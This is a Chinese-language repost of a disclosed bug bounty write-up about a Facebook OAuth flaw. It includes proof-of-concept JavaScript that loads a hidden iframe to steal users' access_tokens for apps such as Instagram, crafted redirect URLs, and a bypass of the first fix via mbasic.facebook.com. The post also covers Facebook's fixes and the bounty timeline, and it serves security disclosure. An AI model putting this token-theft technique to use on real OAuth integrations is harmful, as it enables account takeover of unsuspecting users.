BugBounty-Facebook OAuth 框架漏洞
2020-03-03 09:50:46 Author: xz.aliyun.com(查看原文) 阅读量:311 收藏

ps:FB的账户接管

不知道为什么,我有一种直觉,Login with Facebook这个功能点我觉得不太安全.
FaceBook使用了多个重定向的URL,但是,要在Facebook中找到一个高危漏洞并非易事。这是非常具有挑战性的。

但是,根据谷歌搜索和StackOverflow的说法,我发现这种方式多年来一直处于脆弱状态,大约9到10年。

背景

Login with Facebook功能遵循OAuth 2.0协议,在facebook.com和第三方网站之间交换token。
该漏洞可能使攻击者劫持OAuth flow并用来接管用户帐户的access_token。恶意网站可以同时窃取最常见应用程序的access_token,并且可以访问提供多种服务的第三方网站。例如Instagram,Oculus,Netflix,Tinder,Spotify等。

POC

Facebook SDK使用"/connect/ping" 发送出user_access token,并将所有应用程序默认设置为白名单的URL重定向到XD_Arbiter 。在后台,SDK在初始化时会创建用于跨域通信的proxy iframe。proxy iframe通过postMessage() API 发送回token,代码或未经授权,状态未知。

这是正常的登录流程

https://www.facebook.com/connect/ping?client_id=APP_ID&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter.php%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.domain.com

这个api受到了很好的保护,没有先前已知的错误(例如,参数污染,原始验证,重定向(#!)等)的影响。我尝试了很多方法,但都没招。那该怎么办?

我注意到只有一个请求是可以修改的,xd_arbiter.php?v=42修改成xd_arbiter/?v=42,除了路径遍历之外,还可以进一步添加更多目录/参数。 首先,从哈希片段中窃取令牌非常困难。在这一点上,我们需要一个proxy iframe,该框架可以(劫持)为我们完成这项工作,例如API,location.hash,postMessage()API,任何来源的"*"。(跨域请求)
幸运的是,我很快发现了page_proxy

https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js

它包含了我们想要的代码!

var frameName = window.location.href.split("#")[1];
window.parent.postMessage(frameName,"*");

这个资源有一个EventListener的属性,如果条件检查未满足,那么代码抛出postMessage(),可以用frameName的任何来源*,这是不正确的配置.

Exploiting Proxy

利用这玩意并不难,我将page_proxy资源附加到xd_arbiter。

https://staticxx.facebook.com/platform/page_proxy/r/7SWBAvHenEn.js
https://staticxx.facebook.com/connect/xd_arbiter.php?version=42

https://staticxx.facebook.com/connect/xd_arbiter/r/7SWBAvHenEn.js?version=42

在此漏洞利用中,有几点很重要。

  1. 缺少X-Frame-Options标题。(非常脆弱)
  2. 另外就是window.parent,它本身不需要和用户交互。不需要关心window.open或任何onClick事件。

重写Custom_SDK.js

var app_id = '124024574287414',
app_domain = 'www.instagram.com';

var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;

var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);

window.addEventListener('OAuth', function(FB) {
  alert(FB.data.name);
}, !1);

现在,就可以进行跨域攻击.

Facebook帐户接管

如果第一方的graphql令牌泄漏,就可以查询电话然后进行添加并确认新的电话号码以进行帐户恢复。由于它们已经被列入GraphQL查询的白名单,所以不用任何权限检查。即使将隐私控制设置为仅自己,同样也具有完全的读/写特权,例如消息,照片,视频。

FIX

我报告交了没几个小时,FB就修复了这个漏洞.

/connect/ping  api被弃用
XD_Arbiter中添加了__d 以中断page_proxy中的JS执行

验证修复和Bypass

虽然我们双方都知道OAuth的核心api/dialog/oauth/仍然使用令牌将其重定向到page_proxy。我告诉FB也要修这些api,但FB回应,Facebook说xd_arbiter被列入白名单,并且该团队认为page_proxy资源中的代码更改也可以缓解此问题,所以令牌本身无法泄漏。

2-3天后,我重新访问了page_proxy的代码,发现__d(JSSDKConfig)代码移至底部,并且对调用的postMessage()能够再次执行。我没有完全分析它们所做的更改,但是我猜想前面的修复措施可能会破坏其他资源。这就是代码行移至底部的原因。我立即重建了安装程序。

www.facebook.com并不遵循重定向到xd_arbiter的状态,而是为客户端来源创建了closed_window和postMessage()。
(攻击失败)此规则适用于chrome的mmobiletouch等,但不适用于Firefox。您可能知道Facebook如何在User-Agent和子域之间发挥作用。

输入mbasic.facbook.com就会响应HTTP 302重定向标头,并且适用于所有浏览器。

https://mbasic.facebook.com/dialog/oauth?client_id=124024574287414&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D42%23origin%3Dhttps%253A%252F%252Fwww.instagram.com%252F

再次修复

  1. 不再允许对xd_arbiter进行任何修改/篡改。(仅接受绝对文件路径"xd_arbiter.php")
  2. 用于xd_arbiter的所有重定向HTTP状态均被阻止。(mbasic.facebook.com)
  3. 7SWBAvHenEn.js从服务器中删除。
  4. 在另一个JS资源中添加了正则表达式验证过滤器。

我很高兴能参与这次披露,并且为成功实现我的目标感到高兴。^-^

影响

攻击者构造的钓鱼网站可以获得用户的token

时间线

  1. 2019年12月16日–发送初次报告。
  2. .......
  3. .......
  4. .......
  5. 2020年2月21日– 55,000美元(合并的奖励),这是账户劫持的最高赏金.

原文地址!!!戳我


文章来源: http://xz.aliyun.com/t/7323
如有侵权请联系:admin#unsafe.sh